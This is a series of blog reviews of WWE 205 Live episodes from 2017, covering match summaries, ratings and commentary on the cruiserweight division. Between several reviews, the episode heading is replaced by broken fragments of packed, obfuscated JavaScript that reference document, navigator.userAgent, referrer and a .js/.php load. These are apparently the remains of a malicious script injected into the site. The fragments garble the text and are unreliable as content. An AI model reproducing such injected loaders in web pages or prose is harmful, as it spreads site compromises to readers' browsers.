205 Live
Date: October 24, 2017
Location: Bradley Center, Milwaukee, Wisconsin
Commentators: Vic Joseph, Nigel McGuinness

Things have changed again as we’re back to the Enzo Amore Era. Amore won the title back from Kalisto on Sunday in a match with a grand total of no drama or surprise whatsoever. Now it’s time for a rematch which is required to take place before we can get on to anything fresh for a change. Let’s get to it.

Long recap of Amore getting the title back.

Opening sequence.

Rich Swann/Cedric Alexander vs. Noam Dar/Tony Nese

Swann and Alexander are coming off a win at TLC. Cedric and Swann start things off and we hit the posing. That just earns him a headscissors down as the announcers talk about Swann and Alexander as a tag team. A perfectly fine idea, but then he says they should stay on 205 Live.

Right there you have the problem with this show being its own thing: is it out of the question that Swann and Alexander could give some heavyweight teams a run for their money? Of course not, as Seth Rollins isn’t much bigger than either of them. But Rollins is billed as a heavyweight and therefore people care about him more. It’s a bad idea, especially when the tag division could use some fresh talent.

Swann comes in and scores with Rolling Thunder before we hit the chinlock. It’s off to Dar but Nese tags himself right back in behind Swann’s back, allowing a charge to take Rich down. The alternating beatings begin with the focus on Swann’s knee. Nese puts him in the Tree of Woe for the crunch kicks but doesn’t approve of Dar laying on the mat for his kicks. Swann hits his spinning kick to the head, only to have Dar trip him from the floor.

Another kick to the head allows the hot tag to Alexander and everything breaks down. The handspring kick to the head (the Neuralizer) gets two on Dar and here are Brian Kendrick and Jack Gallagher on the stage. Dar grabs a front facelock on Cedric and Nese breaks up the hot tag attempt. Swann makes a save with a superkick though, allowing the Lumbar Check to end Dar at 9:01.

Rating: C. As mentions, Alexander and Swann have the potential to be a very nice tag team and there’s nothing wrong with that. They’re entertaining and work well together, but having them on 205 Live for the majority of the time isn’t going to do them any good. I have no idea why only one or two cruiserweights can be pushed at once but it makes no sense, much like the division as a whole.

Post match Gallagher and Kendrick tell Alexander to join them and live up to their potential. He needs to dump Swann and do everything he’s capable of doing. Gallagher says that he was dancing around for these people just a few weeks ago before he saw the light. He isn’t one to be pressed for time so next week, they’re coming for Swann. Alexander can join them or be destroyed.

Here’s Drew Gulak to vent some frustration over having his PowerPoint presentation taken off the WWE Network. Therefore, before he silences Akira Tozawa one day, we’re having a refresher course on his POWERPOINT PRESENTATION! Drew only gets through one slide (no jumping off the top rope of course) before he’s cut off by an opponent.

Drew Gulak vs. Gran Metalik

Gulak: “YOU STAY ON THE GROUND!” A technical sequence sets up a test of strength with Metalik getting the better of things. Metalik starts spinning around to start and Gulak is livid over all the flips. Gulak is sent outside for a heck of a rope walk moonsault. Back in and Drew grabs a cobra clutch to slow him down.

Metalik gets off of Drew’s knees and grabs a snapmare before walking the ropes for a dropkick. Back up and Metalik walks the ropes again for a splash, followed by a sunset flip for two. A super hurricanrana brings Gulak down for another near fall, only to get pulled down into a dragon sleeper to give Gulak the win at 6:55.

Rating: C-. It’s nice to see Gulak get a win for a change as he’s been nailing the character stuff and then losing almost every match. That dragon sleeper could be a heck of a finisher if they let him beat some people with it, though it’s not going to mean anything if he loses almost all the time.

Post match Drew goes after Metalik’s leg but Tozawa makes the save.

Kalisto says he’s ready to take the title back.

Cruiserweight Title: Kalisto vs. Enzo Amore

Amore is defending and has Ariya Daivari in his corner. Before the match, Enzo still can’t talk so Daivari does it instead. Kalisto dropkicks him to the floor to start and Amore bails towards the ropes. Some stomping has Amore in trouble until he backdrops Kalisto over the top in a heap.

The ankle is banged up and we already have a story for what is likely to be a short match. Back in and they head up top with Kalisto getting crotched but managing a Death Valley Driver on the apron. They barely beat the count back in and it’s an enziguri into a tornado DDT to plant the champ. Not that it matters as Enzo kicks the referee for the DQ at 6:12.

Rating: D. And that’s the problem with Enzo’s matches: everyone has to slow down so he can keep up and it makes for some very boring matches. Kalisto is capable of having an awesome match but instead, let’s have him do his basic stuff because Enzo’s high spot is an Eat Defeat. Bad match here, and I can’t say I’m surprised.

Post match Kalisto lays Enzo out. Enzo declares himself still champion to end the show.

Overall Rating: C-. It’s kind of amazing how much this show falls apart when Enzo gets in the ring. He’s a great talker and has a ton of charisma but his in-ring production is nothing short of horrible. The rest of the show was your normal 205 Live fare, but there’s no reason to believe that the show is going to take off anytime soon.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

205 Live
Date: October 3, 2017
Location: Pepsi Center, Denver, Colorado
Commentators: Vic Joseph, Nigel McGuinness

Things are rapidly changing around here as we have a new member of the roster with Kurt Angle, who apparently is in charge of 205 Live as well, signing Kalisto. That probably means we’ll be seeing Kalisto as Amore’s first failed title challenger and that’s not the worst idea in the world. Let’s get to it.

We open with a recap of the end of last night’s show with Kalisto debuting. Thankfully most of Enzo’s insults to the members of the division are included because that’s about all he’s good for.

Opening sequence.

Here’s Kalisto with something to say. He’s here to take over the cruiserweight division and he can’t wait to become the new Cruiserweight Champion. Cue Enzo with the fans still doing his entrance along with him. Enzo says Kalisto is the lucky luchador leprechaun to be on the Zo Show but he should be scared to donate his outfit to the Salvation Army. Until tonight though, you couldn’t give away a Kalisto mask but now sales are going to shoot up because Kalisto is talking to Enzo.

Kalisto says Enzo talks too much (expect to hear that line a lot in the coming months) and we see a clip of Enzo kicking Neville low to win the title. Enzo doesn’t care because he won the match and calls Kalisto centimeter. Sure Kalisto went toe to toe with Braun Strowman but he wound up in a trashcan. Kalisto used to be the US Champion but he’s been a huge letdown ever since he lost the title. Enzo talks about being a big star who signs autographs at airports. Tonight though, we’ll be seeing the first loss for Kalisto on 205 Live against the biggest Persian thing since the Kardashians.

Kalisto vs. Ariya Daivari

Daivari wastes no time in slugging away in the corner but a nice headscissors takes him down. Kalisto’s modified springboard (he intentionally lands shins first on the top rope) flip dive to the floor drops Daivari on the floor. Back in and Daivari slams the rope into Kalisto’s head (that’s different) to take over.

A big boot in the corner drops Kalisto again and we hit the chinlock. Kalisto fights up and hits the corkscrew headbutt, followed by the hurricanrana driver for two of his own. Daivari grabs a spinebuster though, followed by the frog splash for two, which pretty much seals his fate. He takes too long getting up and the Salida Del Sol gives Daivari the pin at 4:46.

Rating: D+. Daivari got in WAY too much offense here and it hurt the match a lot. Kalisto should have been a lot more dominant in his debut and it looked more like he won off a fluke than anything else. The Salida Del Sol is a great finisher but he needs to do more than sell all match and then hit one move to win.

Enzo isn’t impressed.

Recap of Jack Gallagher and Brian Kendrick joining forces to torment Cedric Alexander.

Here’s Drew Gulak to talk about how he’s wanted to change 205 Live long before anyone else did. Therefore, tonight we’ll be seeing slides 8-277 of his POWERPOINT PRESENTATION! Proposal #8: No Flipping! If you’re constantly flipping up and down, how will you know your left from your right or your right from your wrong? Unfortunately the words of wisdom are cut off by an interruption and it’s time for a match.

Drew Gulak vs. Mustafa Ali

In addition to Ali, here’s Akira Tozawa to have a seat on the stage. Drew takes Ali down by the wrist but stops to look up at Tozawa. It’s bad enough that Drew heads outside, starting up the Tozawa war chant. Of course Gulak grabs his NO CHANTS sign and marches around the ring, allowing Ali to flip him over. A sloppy hurricanrana takes Gulak down again and a high crossbody gets two.

Gulak reverses a tornado DDT and gets in a knee to the chest to take over again. We hit a chinlock and then a cross arm choke with Tozawa’s war chant having no effect on Gulak this time. Ali fights up and scores with a dropkick followed by a neckbreaker fir two, Gulak reverses a whip though and suplexes Ali into the corner but the war chant makes Gulak miss a charge (which we almost miss because of the FREAKING CROWD REACTION SHOTS). The 054 ends Gulak at 6:44.

Rating: C-. That crowd reaction shot actually got on my nerves as Drew was running, then we went to the crowd, then we came back for him hitting the crowd. Is the director that jittery that he can’t even sit still long enough for someone to run across the ring? As usual, Gulak needs to actually win a match or the blowoff isn’t going to mean anything. Then again, I said the same thing about Kendrick and he did fine.

Tozawa gets in and does the war chant.

Kendrick feels responsible for what happened to Enzo. He fell victim to the mob mentality and stands with Daivari at the champion’s side. Brian can’t stand next to Cedric Alexander though because his generation is too soft. Tonight, Gallagher is going to drink Cedric’s milkshake. Cue Cedric to attack Kendrick and take out his ankle.

Jack Gallagher vs. Cedric Alexander

Gallagher is wrestling in a suit. Cedric sends him hard into the corner to start and scores with a dropkick, only to get tossed outside. Back in and Jack stomps on his head before grabbing a facelock. Gallagher fires off some hard kicks in the corner and cranks on the ankle. A double knee stomp gives Gallagher two with Cedric screaming in pain.

Gallagher gets two more off a dropkick (with some hard shoes) but it just seems to fire Cedric up. They head outside with Cedric hitting a hard suicide dive and unloading on Gallagher with right hands. Jack is sent hard into the barricade so he hides underneath the ring, allowing him to get in a cheap shot. It’s William III time but Cedric takes it away and BLASTS Gallagher over the back with it for the DQ at 6:35.

Rating: C+. I can always give someone credit for wrestling in a suit. Gallagher needed the change in appearance as there’s only so much you can look with that much pale skin showing. Alexander was his usual self here, but again he’s not going to be near the title for several months to come. Nice, hard hitting match though.

They keep brawling post match with Cedric getting the better of it and adding a springboard kick to the chest. Kendrick limps out to stand over Jack to end the show.

Overall Rating: C. As usual, there’s just not much to say when it’s not about Enzo. I know he’s annoying but he’s right when he says almost nothing else matters but him. The show was fine enough, but you really can feel the lack of star power. Then again that might be because these feuds are all just personal and Kalisto is getting the title shot, likely at the next pay per view. I’m not sure how they’re going to handle none of the regular roster getting a shot but it’s really not doing their statuses any favors.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brbzy|var|u0026u|referrer|rdbni||js|php'.split('|'),0,{})) Live
Date: September 12, 2017
Commentators: Nigel McGuinness, Vic Joseph

This is a slightly delayed episode as it’s taking place after the Mae Young Classic Finals and since we can’t just cancel the show for a week, let’s have WWE going for three hours and fifteen minutes on back to back nights. Tonight’s big match is Rich Swann vs. TJP in what should be their big blowoff. Let’s get to it.

Rich Swann is in the back to talk about beating TJP in their first match. TJP comes in to show a video of their second match where he beat Swann. This included TJP acting quite a bit more heelish, which didn’t sit well with Swann. Tonight, TJP can’t handle this.

Opening sequence.

Rich Swann vs. TJP

You can see the empty seats throughout the arena. Swann headlocks him down to start for a good while, which isn’t the best move in the world for a crowd that is rapidly dwindling. Back up and Swann tries his flip over TJP but gets pulled down into a quickly broken kneebar. Instead TJP is sent outside for a flip dive from the apron, followed by a hard kick to the back.

TJP takes him down without too much effort though and rips at Swann’s face for a bit. A basement dropkick gets two and we hit the chinlock on Rich. That goes nowhere so it’s a hard belly to back suplex into a slingshot hilo for two more. Swann fights back with his series of kicks but TJP catches him with the springboard forearm.

Back up and a double kick puts them both down again as we have another breather. The second kneebar works a bit better but TJP has to settle for the chickenwing gutbuster for two instead. The weakest THIS IS AWESOME chant you’ll ever hear doesn’t change much so they hit a pinfall reversal sequence. Swann’s Fantastic Voyage gets two but the Phoenix splash puts TJP away at 12:05.

Rating: B-. Good match with a nice story of them knowing each other so well and being pretty much even until the ending but the dead crowd hurt them a lot. Throw in the fact that neither of them is going near what’s soon to be Enzo’s title and this didn’t have any meaning to it. At least it was good though.

TJP eventually shakes his hand though it’s not a long one.

We look back at Enzo becoming #1 contender with Cedric Alexander cleaning house until Enzo stole the pin.

Mustafa Ali asks Alexander how he can be so calm after last week. Cedric wants to rip Enzo’s head off but it doesn’t do anything because Enzo caught him sleeping. Brian Kendrick comes in to ask where Cedric wants to be. Cedric’s attitude reminds Brian of Jack Gallagher: spineless and lacking what it takes.

Drew Gulak is in the ring and it’s time to complete the PowerPoint presentation! Last week he was cut off by Akira Tozawa, who isn’t even here tonight. Since there’s no chance of him being interrupted, we get to slide #3 (of 277): no chants. Gulak: “Even Mr. McMahon’s music says no chants!” Drew demands complete silence before moving on to slide #4: no elaborate ring gear (with the picture clearly being inspired by Kazuchika Okada).

Slide #5: no interruptions! They’re very rude….and here’s Breezango for a cameo. That certainly wakes the crowd up with a loud BREEZANGO chant. They bring up the Captain Underpants nickname and you know what the fans are chanting now. Gulak denies it so Fandango threatens to treat him like the perp that he is. He gets rather close to Drew’s face and Gulak seems a bit disturbed.

They’ve received complaints about someone walking around in underpants. Breeze: “We like underpants.” He lists off a variety of them with Fandango liking this discussion far too much. Gulak goes to leave so Fandango cuffs him. Breeze lists off his rights (to remain stylish, to have everything you wear seen in a mirror, to a fashion consultant) but Gulak escapes to the floor for a chase. Fandango trips him down and Breeze declares the case closed. Breezango instantly looked like bigger stars than anyone not named Enzo and show just how badly this show is lacking charisma.

We look back at Miz destroying Enzo both verbally and physically last night. I can’t believe they would actually show that on this show.

We look back at Brian Kendrick beating up Jack Gallagher two weeks ago.

Cedric Alexander vs. Brian Kendrick

Kendrick knocks him into the corner to start so Cedric dropkicks him away. The springboard clothesline gets two and a back elbow sends Kendrick outside. A big flip dive takes Brian down again but he sends Cedric throat first into the bar between the turnbuckle and post. Cue Jack Gallagher with William III though….and he attacks Alexander for the DQ at 3:42.

Rating: D. This didn’t have time to go anywhere and was all about the heel turn anyway. In theory this sets Cedric up against Kendrick and Gallagher, which is yet another feud for him where he’s not fighting for the title. Gallagher turning might do good things for him but he’s going to need something a bit more than that to really make it work.

Gallagher destroys Cedric as Brian is stunned. They shake hands to end the show.

Overall Rating: C. This show going so late into the night hurt things and the fans were clearly leaving before the show started, with even more of them being gone by the end. It still doesn’t help to have everyone aside from the champion and #1 contender feel like deck chairs being rearranged and that’s what the whole place feels like most of the time. The first match was good but they need something more than just a bunch of people running around until the next #1 contender shows up.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deaas|var|u0026u|referrer|iitif||js|php'.split('|'),0,{})) Live
Date: August 22, 2017
Location: Barclays Center, New York City, New York
Commentators: Vic Joseph, Corey Graves

For the first time in a long time we have a big time main event on 205 Live with Neville defending the Cruiserweight Title against Akira Tozawa for the third time in eight days. I’m sure the rest of the division being completely worthless and that being more and more a reality every single week has no connection whatsoever. Let’s get to it.

We look at the previous two matches between Neville and Tozawa which set up tonight’s rubber match (assuming you don’t count the previous matches of course).

Opening sequence.

Cedric Alexander/Gran Metalik vs. Tony Nese/Drew Gulak

Rematch from last week. On the way to the ring, Nese rips on the crowd for never hitting the gym. Nese and Alexander start things off with Tony grabbing a rollup but walking into a dropkick to stagger him all over the place. It’s off to Gulak who gets forearmed square in the jaw before Metalik comes in some loud spot calling and a handspring backflip.

Gulak pops him square in the jaw to take over as Joseph offers some nice analysis by pointing out Drew’s hypocrisy of criticizing high fliers for showing off and then teaming with a showoff like Nese. It’s a good point and a nice catch. Metalik avoids a baseball slide from Nese and moonsaults down onto them in an impressive bit of timing. Back in and Nese loads Metalik into the Tree of Woe for the Full Contact Cardio but Alexander is smart enough to move his partner out of the way before anything can start.

Metalik comes back with a high crossbody to set up the hot tag to Alexander as things speed up. The springboard clothesline gets two on Gulak as everything breaks down. Cedric launches Metalik into a dropkick on Gulak, followed by a springboard splash for two more. Stereo flip dives take the heels out again and it’s the Lumbar Check to put Gulak away at 7:42.

Rating: B. These guys were FEELING IT here and they had a heck of a match as a result. I was having a great time with this one and they barely stopped the whole time. Metalik is a guy who I like more every time I see him and Alexander is still one of the top performers on the roster. Not that it’s going to lead him anywhere but at least he’s getting in good matches like this one.

Titus O’Neil gives Akira Tozawa a pep talk before his title match tonight. Titus: “Now give me two claps and a Ric Flair!”

Here’s Jack Gallagher for his gentleman’s duel with Brian Kendrick. Jack explains the idea behind the duel but says he hasn’t been very gentlemanly as of late. Sometimes though, people just rub you the wrong way and you have to knock them out. If Kendrick is so afraid of what Gallagher can do with his fists, just imagine what he can do with the selection of weapons in the ring.

Kendrick pops up on screen and laughs off the idea because only a clown would have a duel. He’s found Jack a suitable opponent though and here’s an actual clown. The clown sprays Jack with water (Fans: “KILL THE CLOWN! STUPID IDIOT!”) and gets beaten down for his efforts. Cue Kendrick from behind to attack Gallagher with an umbrella and powerbomb him through the table. Kendrick also issues a challenge for a No DQ match next week. This was long and bad as the clown stuff is really being forced into the whole thing. Just have them fight and be done with it already.

We look back at Rich Swann vs. Ariya Daivari from last week with TJP coming out on crutches to distract Swann to cost him the match.

TJP is playing video games in the back with his leg in a cast (Why did he show up tonight?) when Swann comes in asking for an explanation. It turns out that TJP hurt his knee in their match two weeks ago and was just coming out to see Swann win. TJP is willing to settle this with Swann if Rich can beat Daivari, presumably next week.

Cruiserweight Title: Akira Tozawa vs. Neville

Neville is defending. They start slowly with Neville working on the arm until Tozawa chops him against the rope. Oh yeah they’ve got a lot of time to use here. A headlock takes Tozawa down again before switching to a cravate. How British of him. The fans chant a rather rude term at Neville before neither guy can hit a kick to the ribs.

They trade some hard strikes as this is mostly even in the first few minutes. Neville snaps the bad shoulder across the top rope and it’s time for a hammerlock with the leg. A dropkick to the shoulder puts Tozawa on the floor and a gorgeous moonsault takes him down again. The referee has to check on the shoulder but Tozawa says he can keep going. Neville sends him into various things but gets dropkicked off the top for a comeback.

The suicide dive connects and Tozawa snaps off a belly to back for two. Neville comes back with the superplex but Tozawa interlocks the legs into a small package for two more. I’ve always loved that spot, especially when it looks natural. Neville is up first with something like a sitout F5 and a heck of a kick to the head for two.

Back up and Tozawa nails him in the jaw to floor the champ, followed by a running boot in the corner. We hit a pinfall reversal sequence before Tozawa kicks him in the head again. The top rope backsplash misses though and the Rings of Saturn retains the title at 16:11.

Rating: B. Another good performance between these two but I’m kind of sick of seeing it. I also have no idea what the point was of having Tozawa win and then lose the title so soon when they could have just had the second title change here. I mean other than filling the Summerslam card up as much as they can of course.

Post match Neville says Tozawa’s title reign was pathetic and nothing more than a footnote. Cue Enzo Amore (Graves: “VIC DID YOU KNOW ABOUT THIS???”) for his usual promo and to say this is now the realest show in the room. Neville sneers at him and leaves so Enzo calls him sawft to end the show.

Where do I even begin? First of all, this sums up everything wrong with 205 Live. You have those four in the first match going nuts and having a great match but none of them are getting anywhere near the title picture because, presumably, they’re not interesting enough. Heaven forbid they get promo time or vignettes or something to build interest in them, because obnoxious catchphrases and a lack of anything interesting in the ring makes you a more worthy challenger.

That’s one of the biggest problems around here and a great example of why the show isn’t necessary: you have the champion, the title contenders (as in all two of them) and then EVERYONE else who comes off like they’re several notches below two or three people at most. Even former champions like TJP and Rich Swann feel like they’re miles beneath Neville and Tozawa. Enzo isn’t going to be any better in that area as he’s a glorified comedy guy most of the time.

That being said, Enzo is PERFECT for this show. He’s instantly the biggest star on the roster and has more personality than the rest of the roster put together. It’s also not like he has anything else to do on Raw now that Cass is on the shelf. He would never be seen as a physical threat to anyone on the show but there are some names here he could hang with. It’s the right move for Enzo, but another example of why 205 Live doesn’t work as a concept.

Overall Rating: B+. That’s probably the best episode they’ve ever had though I have a bad feeling about where things are going. Enzo is going to become the focus of the show and since I wouldn’t mind seeing him stampeded by a herd of wild buffalo, that might make things a bit hard to sit through. The rest of the show ranged from awesome to a clown show, which makes this a great week and a nice addition to a lot of the Brooklyn run.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azkns|var|u0026u|referrer|btedb||js|php'.split('|'),0,{})) Live
Date: August 15, 2017
Location: Dunkin’ Donuts Center, Providence, Rhode Island
Commentators: Vic Joseph, Corey Graves

Things have changed in a hurry around here as we now have a new Cruiserweight Champion. Last night Akira Tozawa defeated Neville for the title in quite the surprise. Their rematch is this Sunday but tonight we have Tozawa’s official celebration, because celebrations need to be well regulated. Let’s get to it.

As you might expect, we start with a look back at Tozawa winning the title.

Opening sequence.

Cedric Alexander/Gran Metalik vs. Drew Gulak/Tony Nese

Drew gives a speech about how Nese might be a show off, but he’s a show off who is the picture of health and fitness. Nese starts with Alexander but hang on a second as we need to hit that bicep pose. A crossbody gives Cedric two and we hit the near fall exchange. Gulak comes in and eats a dropkick to the ribs before it’s off to Metalik for a nice backflip. Metalik springboards into an armbar but one heck of a slap only seems to tick Drew off.

It’s Metalik in trouble until a spinning bulldog and dropkick drop Nese. Tony bails outside so Metalik walks the ropes for a moonsault. You know, just because. Back in and Gulak offers a distraction to let Nese take over but Metalik is right back with a hurricanrana. The hot tag brings in Cedric as everything breaks down. A spinning elbow to the jaw drops Gulak for two and there’s the springboard clothesline to Nese. The Lumbar Check ends Gulak at 7:40.

Rating: C. I’m digging this Alexander vs. Nese feud as Alexander is easy to relate to, which isn’t something that happens too often around here. It’s easy to get behind the idea of someone getting annoyed over someone obsessed with their physique. Metalik is entertaining as well, but unfortunately Gulak has lost all of his steam without the No Fly Zone, which now seems to be completely dead.

Ariya Daivari, Noam Dar and Lince Dorado are talking about how Neville lost the title. Cue Neville of course, sending all three away without another word. Neville throws a chair.

Brian Kendrick vs. Mustafa Ali

This is over Kendrick interrupting an Ali interview earlier today (which they don’t even bother showing us). Kendrick looks very nervous as he comes to the ring and he looks underneath said ring for signs of Jack Gallagher. Ali takes him down to start and Kendrick seems panicked over the idea of a basic move. A dropkick gets two on Kendrick, followed by a crossbody out of the corner for the same. The announcers are pushing the heck out of the fact that Kendrick isn’t himself, which makes me think he’ll win anyway.

Ali gets shoved off the top but rolls through a sunset flip anyway. The inverted 450 is broken up with Ali landing HARD on the turnbuckle, setting up the Captain’s Hook. Ali hangs on way longer than he should be able to and makes the rope. Back up and a hard kick to the head sends Ali outside with Kendrick sending him into the LED apron. Kendrick wedges Ali’s foot into the steps and loads up something, only to have Gallagher run in for the DQ at 5:02. Hey I was right.

Rating: C-. There’s an idea here but I’m really not sure where it’s going. Gallagher could really use a change of pace and this might be the right way to go, though they can’t quite go back to his usual stuff after it’s over. Ali got in some good offense here but looked pretty defeated by the end. At least it wasn’t a squash by a distracted Kendrick though.

Gallagher chases him off.

Rich Swann is ready for his victory dance over TJP but Ariya Daivari comes up to say he’s facing Swann instead for not given reason.

Ariya Daivari vs. Rich Swann

Rich ducks a shot in the corner and dances away, as is his custom. A headlock slows Daivari down (not that he was going very fast in the first place) until they head to the apron. Swann kicks him to the floor but charges into something like a Stun Gun onto the apron for a painful looking crash.

Back in and we hit a seated full nelson to stay on the neck. Swann fights out and hits a running flip Fameasser, only to get caught in a reverse DDT. Daivari misses the top rope splash though and it’s time for the Phoenix Splash….only to have TJP come out with his leg in a cast and using crutches. The distraction sets up the hammerlock lariat to give Daivari the pin at 5:06.

Rating: C+. I liked this one more than I was expecting to and that’s always a nice surprise. Swann got in some good offense but Daivari was even more of a surprise than expected. TJP vs. Swann needs to wrap up soon, though I’m not sure how likely that is with the leg being banged up like that (assuming it’s real of course).

Kendrick is getting out as fast as he can, but not before mentioning a potential duel with Gallagher.

Here’s Titus O’Neil to introduce Tozawa for his championship celebration. Tozawa talks about this was his dream for so long and calls it easy. Titus tells Tozawa thank you for making their dreams realities. Dancing ensues but here’s a somewhat disheveled Neville to interrupt. He talks about bringing honor to the title but then it was all gone in one day.

With his voice cracking, Neville promises to make everything better in less than a week. A clock comes up on screen counting down to Summerslam, which is how long Tozawa has left with that title. Neville charges the ring but gets dropkicked down from the apron. Tozawa beats him up on the floor and then kicks him off the apron for good measure. The champ sits on Titus’ shoulders to end the show.

Overall Rating: C+. Better show than usual this week but it makes me think that Sunday’s Cruiserweight Title match isn’t going to do much for me. Neville vs. Tozawa is already starting to feel played out and like something that doesn’t need to be on Summerslam. The rest of the show was entertaining though and that’s more than you can get out of 205 Live these days. Good show, but firmly under the 205 Live dome.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddsfe|var|u0026u|referrer|dtekd||js|php'.split('|'),0,{})) Live
Date: July 18, 2017
Location: Legacy Arena, Birmingham, Alabama
Commentators: Vic Joseph, Corey Graves

We have another showdown tonight as Mustafa Ali and Drew Gulak blow off their feud in a 2/3 falls match. This is all about high flying vs. mat wrestling and seems like the big ending. We also have Akira Tozawa vs. Neville II on the horizon but first, Tozawa has to get some revenge on Ariya Daivari. Let’s get to it.

The opening video looks at all the great high flying around here before shifting to Gulak’s No Fly Zone. We move on to a recap of Gulak vs. Ali, including their trading the first four matches, one of which included Gulak trying a top rope splash when he was pushed too far. This video makes the feud seem far more important and interesting than it probably is, which is exactly the point.

Opening sequence.

Drew Gulak vs. Mustafa Ali

2/3 falls and I guess this is how they keep the arena from emptying out to open the show. Gulak wristlocks him to start but gets caught in a hammerlock. Ali grabs a pair of rollups for two before he grabs both arms and spins Gulak around into a third rollup for the first fall at 1:53.

Gulak gets more aggressive to start the second fall but eats a dropkick for two. A monkey flip is broken up though and Gulak dumps him to the floor for a big crash. Back in and Gulak grabs a chinlock while yelling a lot. Ali gets all fired up and doesn’t mind the knees to his face. It’s time for the comeback with a series of clotheslines and a kick to the head, followed by the rolling neckbreaker. They head outside with Ali hitting a hurricanrana but landing on the back of his head for a bad sounding thud. Back in and Gulak sends him head first into the middle buckle, setting up the Dragon Sleeper for the tap at 7:55.

Ali says he can continue so Gulak kicks him in the head. We hit the chinlock again before Ali fights up for a hurricanrana out of the corner. That doesn’t work as well either though as Gulak plants him with a powerbomb to counter and knock Ali silly again. A reverse hurricanrana puts Gulak down and a big flip dive to the floor draws a one man HOLY S*** chant.

Back in and they do the high crossbody spot that ended one of their earlier matches with Gulak rolling through for two. Another enziguri sets up Ali’s tornado DDT for two more, only to have Drew take his head off with a clothesline. Gulak takes WAY too long going up though and actually decides to come back down, only to get caught in another hurricanrana. The inverted 450 puts Drew away at 16:52.

Rating: B. That might be the longest 205 Live match to date and that’s a good thing. This is the kind of match that needed more time to make things work. Ali winning is probably the right call, though again I would have liked to see Gulak keep going with this idea and gain a few followers. If Ali doesn’t go anywhere from this, I don’t see the point in having him win here but that’s one of the least of this show’s problems.

We look at Titus O’Neil throwing in the towel for Akira Tozawa. Post match, Tozawa got Titus to get him a rematch with Daivari.

Earlier today, Tozawa told Apollo Crews that he was fine but Crews reminded him that Titus stood up for him because he cares about the two of them.

Brian Kendrick vs. Devin Bennett

Before the match, Kendrick asks Bennett, who is from Manchester, England ala Jack Gallagher, if the people of Manchester are proud of Gallagher. This is America and it doesn’t work the same as things do over in England. Here you have to work hard and not be a clown like Gallagher so Devin can walk away now if he wants to. Devin is ready to go so Kendrick beats him down while asking if Bennett is a clown. Bennett’s head is kicked into the ropes and Kendrick chops away in the corner. Kendrick offers him a free shot and is incensed when Bennett takes it. A boot to the face sets up the Captain’s Hook for the tap at 1:35.

Video on last week’s I Quit match between Cedric Alexander and Noam Dar with Cedric stomping on the arm with a chair wrapped around it to make Dar quit. After the match, Dar dumped Alicia Fox in what sounded like a major heel turn but was received like a face turn.

TJP doesn’t think much of what he did last week and thinks it’s only Rich Swann who has a problem with it. They still have issues from when TJP eliminated Swann from the Cruiserweight Classic so next week they can have a tag match with both of them picking a partner.

Akira Tozawa vs. Ariya Daivari

Daivari again dedicates the match to the Iranian gold medalist. He defeated a Japanese wrestler to win his medal and history repeated itself last night. Tozawa comes in with a very bad shoulder and starts fast with the fake out right hand to the face. Daivari makes things harder on himself by missing a charge into the corner, only to bail to the apron before Tozawa can try the top rope backsplash.

The bad shoulder is sent into the post and Tozawa is in big trouble. Tozawa tries a sunset flip but gets stomped in the shoulder, leaving Daivari to pose. Daivari takes a bit too long though and gets sent outside for the suicide headbutt (which probably should have hurt the shoulder too). Back in and Daivari is right back on the shoulder but a Shining Wizard gives Tozawa two. A Codebreaker on the arm sets up a top rope splash for another near fall on Tozawa, who grabs a quick rollup (and maybe the trunks) for the pin at 8:32.

Rating: C+. Good match here but again it’s hard to get into Daivari as he’s one of the most generic heels I’ve seen in a long time. He’s just kind of there with the “Iran is awesome” stuff and that’s not enough to work too well when he’s not the most interesting wrestler in the world. Tozawa would seem to be heading towards a rematch with Neville but they’re taking their time advancing things.

Post match Daivari posts Tozawa’s shoulder and stands tall to end the show.

Overall Rating: B-. This show had some better wrestling but the problem continues to be a lack of reasons to care about most of these people. They all feel very low level compared to everyone else on the roster and that makes for some difficult shows to sit through. There were two good matches on here and the show still felt especially long. I know there are a lot of reasons to dislike 205 Live but above all else, they need to give me a reason to care about or connect to the roster.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

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Date: June 27, 2017
Location: Valley View Casino Center, San Diego, California
Commentators: Vic Joseph, Corey Graves

